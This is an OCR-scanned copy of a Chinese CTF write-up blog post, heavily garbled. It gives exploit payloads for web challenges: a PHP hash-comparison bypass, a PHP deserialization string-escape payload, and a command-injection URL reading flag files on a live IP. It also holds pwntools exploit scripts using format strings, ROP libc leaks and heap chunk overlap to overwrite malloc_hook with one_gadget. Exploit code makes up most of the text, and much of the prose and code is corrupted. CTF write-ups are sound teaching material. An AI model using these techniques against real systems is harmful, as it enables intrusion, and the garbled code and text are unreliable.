52 120204 _EFEER 73 wp

0xCCCC9090 F 2020-08-30 09:59:31 K i 632 R 1
WA AR R EAICE, #EE CC 4.0 BY-SA MRAUIHMY, #HiEM HIE B A mAmEg,

ACEERE: https://blog.csdn.net/qq_36495104/article/details/108303161
KA

Ewn BV ARE

17 RXXE 0T B
BB
KBIKIH, LAE—REF¥ES, B, UG RSB AL IE T o(r_)o

WEB
Funhash

2%
https://medium.com/@sbasu7241/hsctf-6-ctf-writeups-a807f0b25ae4
exp

hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

Webii BS

IX R R 2 5 U SR B @S nOw33

1.phpRFFILES, S£itbinary string 4 F5F

2. wakeup()2 B YA BUK T 52 B3 B AN B <3kt wakeup()
3.7y H kiR

FEAFERF0N0 =) chr(0) * chr(0) =EMNEH, B T2MNEH
FIF BT IR FRF R, FEANR

EOFERR2INTR, BHRARTEHER\0OKNHEEZ D N2, BITERTEN AT

exp.php:


https://blog.csdn.net/qq_36495104
https://blog.csdn.net/qq_36495104/category_9986432.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_36495104/article/details/108303161
https://blog.csdn.net/qq_36495104/category_9986432.html

protected $user;
protected $pass;

protected $admin;

public function _ construct(){
$this->user :
$this->pass new topsolo();
$this->admin il.g

class topsolo{

protected $name;

public function _ construct(){

$this->name new midsolo();

class midsolo{

protected $name;

public function _ construct(){

$this->name = new jungle();

class jungle{
protected $name

]

$exp str_replace( , chr(o). .chr(0), $exp);
echo urlencode($exp);

?>

&% Hpayload:

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&
password=a%22%3Bs%3A7%3A%22%00%2A%00pass%22%3B0%3A7%3A%22tops010%22%3A1%3A%7BS%3A7%3A%22%00%2A%00%5C6eame%22%3B0
%3A7%3A%22mids010%22%3A2%3A%7BS%3A7%3A%22%00%2A%00%5C6eame%22%3B0%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%227%00%2A%
00%5C6eame%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A8%3A%22%00%2A%00admin%22%3B1i%3A1%3B%7D

F3zh

exp
http://39.96.23.228:10002/?ip=127.0.0.1|cat fla*
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Upload

MpcapRBEEKE HjpgB F, RJE1E FsteghideiR B EE R, % ~123456
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from pwn_debug import
from fmt64 paylaod import

context.log level

)

)
,12124)

pdbg.run(
.recvuntil(
.send(
.recvuntil(
.send(

.recvuntil(

libc_start_main (sh.recv(14),16)-231
libc_base=1ibc_start_main-1libc.symbols|

print (libc_base)

one_gadgets=[0x4f365,0x4f3c2,0x10a45c]
one_g=1ibc_base+one_gadgets[1]

malloc_hook libc_base+libc.symbols[

(one_g)
(malloc_hook)

( )
(one_g)[-4:1,16)-59) p64(malloc_hook)

.recvuntil(

.send(

.recvuntil(
.send(payload[:-2])

( )
(one_g)[-8:-4],16)-59) p64(malloc_hook+2)

( )
(one_g)[-12:-8],16)-59) p64(malloc_hook+4)

.recvuntil(

.send(

.recvuntil(
.send(payload[:-2])

.recvuntil(
.send(
.recvuntil(
.send(
.interactive()




Babymessage

B, kKR EElebp, F KRBT EANELZFT, A/EROP, 5 Aone_gadget



from pwn import

from pwn_debug import

context.arch

context.log level

elf=ELF(binary)
pdbg=pwn_debug(binary)

,21342)

cmd=1lambda c:sh.sendlineafter(

def 1ln(name):
cmd (1)
sh.recvuntil(
sh.send(name)

def lm(message):
cmd(2)
sh.recvuntil(
sh.send(message)

pop_rdi_ret=0x400ac3
puts_got=elf.got[
puts_plt=elf.plt[

1n( )
payloadl=p64(0)+p64(0x6010D4)

ox8 p64(0x6010D4)
p64(pop_rdi_ret)
p64(puts_got)
p64(puts_plt)
p64 (0x04009DD)
1m(payload2)

sh.recvuntil( )

puts_addr=u64(sh.recv(6).1just(8,
print (puts_addr)
libc_base=puts_addr-1libc.symbols|

one=[0x4f365,0x4f3c2,0x10a45c ]
onegad_get libc_base one[Q]

0x8+p64(0x06010D4 ) +p64(onegad_get)

sh.interactive()

easypwn




Chunk overlap ,F|F 10 FILE it #libc, #AJ5 Fmalloc_hookthE Aone_gadget, getshell

from pwn_debug import

context.log level

, 10000)

choice(idx):
sh.sendlineafter(
add(size):
choice(1)
sh.sendlineafter(

delete(idx):
choice(3)
sh.sendlineafter(

edit(idx,content):

choice(2)

sh.sendlineafter( 5 (idx))
sh.sendafter( ,content)

choice2(idx):
sh.sendlineafter(
add2(size):
choice2(1)
sh.sendlineafter(

delete2(idx):
choice2(3)
sh.sendlineafter(

edit2(idx,content):

choice2(2)

sh.sendlineafter( 5 (idx))
sh.sendafter( ,content)

def pwn():
global sh
sh=pdbg. run(

add(0xf8)
add(0xf8)
add(exf8)
add(0x60)
delete(9)
edit(1,p64(0x70)*30 + p64(0x200))
delete(2)
add(exf8)
add(0x68)




add(0x60)
add(0x50)

add(ox1f8)
add(ox1f8)
add(ox1f8)
add(0x1f8)
delete(7)
edit(8,
delete(9)
add(0x310)
edit(7,
delete(8)
edit(7,

ox1fe p64(0x400))

ox1fo p64(9) p64(0x201)

ox1fe p64(9) p64(0x201)
add(ox1f0)
delete(5)

delete(2)

edit(1,p8(0x60)

add(ox60)
add (ox60)
edit(5,p64(0x60)+p64(0x70)+pl6(0x25dd)
delete(5)
delete(2)

edit(1,p8(0x79)

add (0x60)
add (ox60)
add(ox60)
edit(9,

0x33 p64(0xfbad1800)

libc=ELF( )
one =[@x45226,0x4527a,0xf0364,0xf1207]

sh.recv(0x40)
stderr=u64(sh.recv(6).1just(8,

0x3c5600
libc_base

libc_base stderr
malloc_hook
fake_chunk

onegadget

libc.symbols|
0x23
libc_base
(libc_base)
(malloc_hook)
(onegadget)
(fake_chunk)

malloc_hook
one[2]
print
print
print
print

delete2(2)
edit2(1,p64(fake_chunk)

add2 (0x60)
add2 (0x60)

p64(0)

p64(0)*3

pl6(0x37f8-0x10)




edit2(11, 0x13+p64(onegadget)

print
print
print
add2(0x60)

sh.recv(timeout

except EOFError:

sh.close()

continue
else:

sh.interactive()

break

1)

(libc_base)
(onegadget)
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